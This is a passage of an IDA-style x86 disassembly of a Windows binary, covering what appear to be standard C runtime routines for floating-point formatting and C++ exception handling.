push offset aKernel32 ; "KERNEL32"
call near ptr 0D10004h
pop ds
test eax, eax
jz short loc_419EF3
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call ds:dword_4210C4
test eax, eax
jz short loc_419EF3
push 0
call eax ; sub_415F1B
retn
; ---------------------------------------------------------------------------
loc_419EF3: ; CODE XREF: sub_419ECF+Dj
; sub_419ECF+1Dj
jmp sub_419E91
sub_419ECF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419EF8 proc near ; CODE XREF: sub_417D2C+3CBp
; DATA XREF: sub_415F33+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_417173
cmp eax, 65h
pop ecx
jz short loc_419F38
loc_419F0C: ; CODE XREF: sub_419EF8+3Ej
inc esi
cmp ds:dword_437F5C, 1
jle short loc_419F25
movsx eax, byte ptr [esi]
push 4
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_419F34
; ---------------------------------------------------------------------------
loc_419F25: ; CODE XREF: sub_419EF8+1Cj
movsx eax, byte ptr [esi]
mov ecx, ds:off_437D50
mov al, [ecx+eax*2]
and eax, 4
loc_419F34: ; CODE XREF: sub_419EF8+2Bj
test eax, eax
jnz short loc_419F0C
loc_419F38: ; CODE XREF: sub_419EF8+12j
mov cl, ds:byte_437F60
mov al, [esi]
mov [esi], cl
inc esi
loc_419F43: ; CODE XREF: sub_419EF8+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_419F43
pop esi
retn
sub_419EF8 endp
; =============== S U B R O U T I N E =======================================
sub_419F52 proc near ; CODE XREF: sub_417D2C+3E2p
; DATA XREF: sub_415F33+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, ds:byte_437F60
mov cl, [eax]
test cl, cl
jz short loc_419F6E
loc_419F62: ; CODE XREF: sub_419F52+1Aj
cmp cl, dl
jz short loc_419F6E
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_419F62
loc_419F6E: ; CODE XREF: sub_419F52+Ej
; sub_419F52+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_419F9F
loc_419F75: ; CODE XREF: sub_419F52+34j
mov cl, [eax]
test cl, cl
jz short loc_419F88
cmp cl, 65h
jz short loc_419F88
cmp cl, 45h
jz short loc_419F88
inc eax
jmp short loc_419F75
; ---------------------------------------------------------------------------
loc_419F88: ; CODE XREF: sub_419F52+27j
; sub_419F52+2Cj ...
mov ecx, eax
loc_419F8A: ; CODE XREF: sub_419F52+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_419F8A
cmp [eax], dl
jnz short loc_419F95
dec eax
loc_419F95: ; CODE XREF: sub_419F52+40j
; sub_419F52+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_419F95
locret_419F9F: ; CODE XREF: sub_419F52+21j
retn
sub_419F52 endp
; =============== S U B R O U T I N E =======================================
sub_419FA0 proc near ; DATA XREF: sub_415F33+28o
; seg002:off_438098o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_4217B0
fnstsw ax
sahf
jb short loc_419FB5
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_419FB5: ; CODE XREF: sub_419FA0+Fj
xor eax, eax
retn
sub_419FA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FB8 proc near ; CODE XREF: sub_41AD1D+430p
; DATA XREF: sub_415F33+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_419FE1
lea eax, [ebp+var_8]
push eax
call sub_41DCEE
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_419FE1: ; CODE XREF: sub_419FB8+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41DD1B
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_419FB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FF6 proc near ; CODE XREF: sub_41A273+17p
; sub_41A2BD+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:byte_4694E0, 0
push ebx
push esi
jz short loc_41A02B
mov ebx, [ebp+arg_8]
mov eax, ds:dword_4694DC
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41A30E
pop ecx
pop ecx
jmp short loc_41A063
; ---------------------------------------------------------------------------
loc_41A02B: ; CODE XREF: sub_419FF6+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41DDBF
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41DD48
add esp, 14h
loc_41A063: ; CODE XREF: sub_419FF6+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41A06F
mov byte ptr [eax], 2Dh
inc eax
loc_41A06F: ; CODE XREF: sub_419FF6+73j
test ebx, ebx
jle short loc_41A087
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, ds:byte_437F60
mov eax, edi
pop edi
mov [eax], cl
loc_41A087: ; CODE XREF: sub_419FF6+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp ds:byte_4694E0, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_415BE0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41A0AE
mov byte ptr [ecx], 45h
loc_41A0AE: ; CODE XREF: sub_419FF6+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41A0F3
mov ebx, [esi+4]
dec ebx
jns short loc_41A0C2
neg ebx
mov byte ptr [ecx], 2Dh
loc_41A0C2: ; CODE XREF: sub_419FF6+C5j
inc ecx
cmp ebx, 64h
jl short loc_41A0D9
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A0D9: ; CODE XREF: sub_419FF6+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41A0F0
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A0F0: ; CODE XREF: sub_419FF6+E7j
add [ecx+1], bl
loc_41A0F3: ; CODE XREF: sub_419FF6+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_419FF6 endp
; =============== S U B R O U T I N E =======================================
sub_41A0FA proc near ; CODE XREF: sub_41A29A+13p
; sub_41A2BD+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp ds:byte_4694E0, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41A135
mov eax, ds:dword_4694E4
mov ebx, [esp+10h+arg_8]
mov esi, ds:dword_4694DC
cmp eax, ebx
jnz short loc_41A165
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41A165
; ---------------------------------------------------------------------------
loc_41A135: ; CODE XREF: sub_41A0FA+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41DDBF
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41DD48
add esp, 14h
loc_41A165: ; CODE XREF: sub_41A0FA+22j
; sub_41A0FA+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41A173
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41A173: ; CODE XREF: sub_41A0FA+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41A18A
push 1
push edi
call sub_41A30E
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41A18C
; ---------------------------------------------------------------------------
loc_41A18A: ; CODE XREF: sub_41A0FA+7Ej
add edi, eax
loc_41A18C: ; CODE XREF: sub_41A0FA+8Ej
test ebx, ebx
jle short loc_41A1D1
push 1
push edi
call sub_41A30E
mov al, ds:byte_437F60
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41A1D1
cmp ds:byte_4694E0, 0
jz short loc_41A1B6
neg esi
jmp short loc_41A1BC
; ---------------------------------------------------------------------------
loc_41A1B6: ; CODE XREF: sub_41A0FA+B6j
neg esi
cmp ebx, esi
jl short loc_41A1BE
loc_41A1BC: ; CODE XREF: sub_41A0FA+BAj
mov ebx, esi
loc_41A1BE: ; CODE XREF: sub_41A0FA+C0j
push ebx
push edi
call sub_41A30E
push ebx
push 30h
push edi
call sub_415550
add esp, 14h
loc_41A1D1: ; CODE XREF: sub_41A0FA+94j
; sub_41A0FA+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41A0FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1D8 proc near ; CODE XREF: sub_41A2BD+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41DDBF
mov ds:dword_4694DC, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov ds:dword_4694E4, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41DD48
mov eax, ds:dword_4694DC
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp ds:dword_4694E4, ecx
setl cl
mov ds:byte_4694E8, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov ds:dword_4694E4, eax
jl short loc_41A25E
cmp eax, ebx
jge short loc_41A25E
test cl, cl
jz short loc_41A24F
loc_41A245: ; CODE XREF: sub_41A1D8+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41A245
and [esi-2], al
loc_41A24F: ; CODE XREF: sub_41A1D8+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41A29A
add esp, 0Ch
jmp short loc_41A26E
; ---------------------------------------------------------------------------
loc_41A25E: ; CODE XREF: sub_41A1D8+63j
; sub_41A1D8+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41A273
add esp, 10h
loc_41A26E: ; CODE XREF: sub_41A1D8+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A1D8 endp
; =============== S U B R O U T I N E =======================================
sub_41A273 proc near ; CODE XREF: sub_41A1D8+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov ds:byte_4694E0, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_419FF6
and ds:byte_4694E0, 0
add esp, 10h
retn
sub_41A273 endp
; =============== S U B R O U T I N E =======================================
sub_41A29A proc near ; CODE XREF: sub_41A1D8+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ds:byte_4694E0, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A0FA
and ds:byte_4694E0, 0
add esp, 0Ch
retn
sub_41A29A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2BD proc near ; CODE XREF: sub_417D2C+3AAp
; DATA XREF: sub_415F33o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41A2F8
cmp [ebp+arg_8], 45h
jz short loc_41A2F8
cmp [ebp+arg_8], 66h
jnz short loc_41A2E5
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A0FA
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A2E5: ; CODE XREF: sub_41A2BD+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A1D8
jmp short loc_41A309
; ---------------------------------------------------------------------------
loc_41A2F8: ; CODE XREF: sub_41A2BD+7j
; sub_41A2BD+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419FF6
loc_41A309: ; CODE XREF: sub_41A2BD+39j
add esp, 10h
pop ebp
retn
sub_41A2BD endp
; =============== S U B R O U T I N E =======================================
sub_41A30E proc near ; CODE XREF: sub_419FF6+2Cp
; sub_41A0FA+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41A331
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_415CD0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_416470
add esp, 10h
pop esi
loc_41A331: ; CODE XREF: sub_41A30E+7j
pop edi
retn
sub_41A30E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A333 proc near ; CODE XREF: seg000:00416114p
; sub_41617D+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41A349
call sub_41ABD2
loc_41A349: ; CODE XREF: sub_41A333+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41A371
cmp dword ptr [esi+4], 0
jz short loc_41A3C7
cmp [ebp+arg_14], 0
jnz short loc_41A3C7
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41A67A
add esp, 10h
jmp short loc_41A3C7
; ---------------------------------------------------------------------------
loc_41A371: ; CODE XREF: sub_41A333+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41A3C7
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A3AB
cmp [eax+14h], edi
jbe short loc_41A3AB
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41A3AB
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41A3CA
; ---------------------------------------------------------------------------
loc_41A3AB: ; CODE XREF: sub_41A333+4Aj
; sub_41A333+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41A3CE
add esp, 20h
loc_41A3C7: ; CODE XREF: sub_41A333+23j
; sub_41A333+29j ...
push 1
pop eax
loc_41A3CA: ; CODE XREF: sub_41A333+76j
pop edi
pop esi
pop ebp
retn
sub_41A333 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3CE proc near ; CODE XREF: sub_41A333+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41A3EE
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41A3F3
loc_41A3EE: ; CODE XREF: sub_41A3CE+16j
call sub_41ABD2
loc_41A3F3: ; CODE XREF: sub_41A3CE+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41A54A
cmp dword ptr [esi+10h], 3
jnz short loc_41A467
cmp [esi+14h], edi
jnz short loc_41A467
cmp dword ptr [esi+1Ch], 0
jnz short loc_41A467
mov esi, ds:dword_4694EC
test esi, esi
jz loc_41A545
mov eax, ds:dword_4694F0
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41DF46
pop ecx
test eax, eax
pop ecx
jnz short loc_41A449
call sub_41ABD2
loc_41A449: ; CODE XREF: sub_41A3CE+74j
cmp [esi], ebx
jnz loc_41A54A
cmp dword ptr [esi+10h], 3
jnz short loc_41A467
cmp [esi+14h], edi
jnz short loc_41A467
cmp dword ptr [esi+1Ch], 0
jnz short loc_41A467
call sub_41ABD2
loc_41A467: ; CODE XREF: sub_41A3CE+41j
; sub_41A3CE+46j ...
cmp [esi], ebx
jnz loc_41A54A
cmp dword ptr [esi+10h], 3
jnz loc_41A54A
cmp [esi+14h], edi
jnz loc_41A54A
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_4162CB
add esp, 14h
mov ebx, eax
loc_41A49E: ; CODE XREF: sub_41A3CE+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41A535
cmp [ebx], edi
jg short loc_41A52A
cmp edi, [ebx+4]
jg short loc_41A52A
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41A527
loc_41A4C3: ; CODE XREF: sub_41A3CE+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41A4F4
loc_41A4D5: ; CODE XREF: sub_41A3CE+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41A61D
add esp, 0Ch
test eax, eax
jnz short loc_41A503
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41A4D5
loc_41A4F4: ; CODE XREF: sub_41A3CE+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41A4C3
jmp short loc_41A527
; ---------------------------------------------------------------------------
loc_41A503: ; CODE XREF: sub_41A3CE+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41A72E
add esp, 2Ch
loc_41A527: ; CODE XREF: sub_41A3CE+F3j
; sub_41A3CE+133j
mov edi, [ebp+var_10]
loc_41A52A: ; CODE XREF: sub_41A3CE+DEj
; sub_41A3CE+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41A49E
; ---------------------------------------------------------------------------
loc_41A535: ; CODE XREF: sub_41A3CE+D6j
cmp [ebp+arg_14], 0
jz short loc_41A545
push 1
push esi
call sub_41AAA3
pop ecx
pop ecx
loc_41A545: ; CODE XREF: sub_41A3CE+56j
; sub_41A3CE+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A54A: ; CODE XREF: sub_41A3CE+37j
; sub_41A3CE+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41A570
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41A575
add esp, 20h
jmp short loc_41A545
; ---------------------------------------------------------------------------
loc_41A570: ; CODE XREF: sub_41A3CE+180j
jmp sub_41AB7C
sub_41A3CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A575 proc near ; CODE XREF: sub_41A3CE+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp ds:dword_4694F4, 0
push esi
push edi
jz short loc_41A5A6
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4161A2
add esp, 1Ch
test eax, eax
jnz short loc_41A619
loc_41A5A6: ; CODE XREF: sub_41A575+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_4162CB
add esp, 14h
mov esi, eax
loc_41A5C2: ; CODE XREF: sub_41A575+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41A619
cmp edi, [esi]
jl short loc_41A611
cmp edi, [esi+4]
jg short loc_41A611
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41A5EB
cmp byte ptr [ecx+8], 0
jnz short loc_41A611
loc_41A5EB: ; CODE XREF: sub_41A575+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A72E
add esp, 2Ch
loc_41A611: ; CODE XREF: sub_41A575+57j
; sub_41A575+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41A5C2
; ---------------------------------------------------------------------------
loc_41A619: ; CODE XREF: sub_41A575+2Fj
; sub_41A575+53j
pop edi
pop esi
leave
retn
sub_41A575 endp
; =============== S U B R O U T I N E =======================================
sub_41A61D proc near ; CODE XREF: sub_41A3CE+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41A674
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41A674
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41A64E
add ecx, 8
push ecx
push edx
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_41A670
loc_41A64E: ; CODE XREF: sub_41A61D+1Fj
test byte ptr [esi], 2
jz short loc_41A658
test byte ptr [edi], 8
jz short loc_41A670
loc_41A658: ; CODE XREF: sub_41A61D+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41A667
test byte ptr [edi], 1
jz short loc_41A670
loc_41A667: ; CODE XREF: sub_41A61D+43j
test al, 2
jz short loc_41A674
test byte ptr [edi], 2
jnz short loc_41A674
loc_41A670: ; CODE XREF: sub_41A61D+2Fj
; sub_41A61D+39j ...
xor eax, eax
jmp short loc_41A677
; ---------------------------------------------------------------------------
loc_41A674: ; CODE XREF: sub_41A61D+Bj
; sub_41A61D+14j ...
push 1
pop eax
loc_41A677: ; CODE XREF: sub_41A61D+55j
pop edi
pop esi
retn
sub_41A61D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A67A proc near ; CODE XREF: sub_41A333+34p
; sub_41A72E+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4217F8
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41A6AC: ; CODE XREF: sub_41A67A+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41A706
cmp esi, 0FFFFFFFFh
jle short loc_41A6BB
cmp esi, [edi+4]
jl short loc_41A6C0
loc_41A6BB: ; CODE XREF: sub_41A67A+3Aj
call sub_41ABD2
loc_41A6C0: ; CODE XREF: sub_41A67A+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41A6DB
push 103h
push ebx
push eax
call sub_41AB30
loc_41A6DB: ; CODE XREF: sub_41A67A+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41A6FB
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41A718
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41A6FB: ; CODE XREF: sub_41A67A+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41A6AC
; ---------------------------------------------------------------------------
loc_41A706: ; CODE XREF: sub_41A67A+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A67A endp
; =============== S U B R O U T I N E =======================================
sub_41A718 proc near ; CODE XREF: sub_41A67A+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41A729
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A729: ; CODE XREF: sub_41A718+Cj
jmp sub_41AB7C
sub_41A718 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A72E proc near ; CODE XREF: sub_41A3CE+151p
; sub_41A575+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41A750
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41A8DF
add esp, 10h
loc_41A750: ; CODE XREF: sub_41A72E+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41A75C
push edi
jmp short loc_41A75F
; ---------------------------------------------------------------------------
loc_41A75C: ; CODE XREF: sub_41A72E+29j
push [ebp+arg_24]
loc_41A75F: ; CODE XREF: sub_41A72E+2Cj
call sub_4160A4
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41A67A
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41A7A9
add esp, 2Ch
test eax, eax
jz short loc_41A7A4
push edi
push eax
call sub_416062
loc_41A7A4: ; CODE XREF: sub_41A72E+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A72E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A7A9 proc near ; CODE XREF: sub_41A72E+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421808
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
